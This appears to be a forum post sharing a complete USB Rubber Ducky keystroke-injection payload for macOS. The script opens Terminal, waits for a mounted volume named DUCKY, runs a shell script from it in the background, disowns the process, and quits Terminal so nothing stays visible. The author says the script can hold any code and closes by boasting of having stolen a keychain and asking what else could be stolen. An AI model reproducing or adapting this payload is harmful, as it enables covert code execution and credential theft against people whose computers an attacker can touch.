I created a pretty simple payload for Mac OSX, this is the fastest I could get it. You might want to play with some delays but my decent mac is running this just fine. It basically types in a while loop in the terminal that waits for a volume to mount named DUCKY by looking for file 'a', and then executes an SH script called 'a' (the same file). This is done to make it as short as possible.
DELAY 3000
COMMAND SPACE
DELAY 200
STRING terminal
ENTER
DELAY 200
STRING while [ ! -f /Volumes/DUCKY/a ] ; do sleep 2 ; done && sh /Volumes/DUCKY/a &
ENTER
STRING disown
ENTER
STRING exit
ENTER
COMMAND Q
So in your 'a' file you can write any length shell script you want, it will all execute on the background.
P.s. I just stole my own keychain, are there any more interesting things I could try to steal?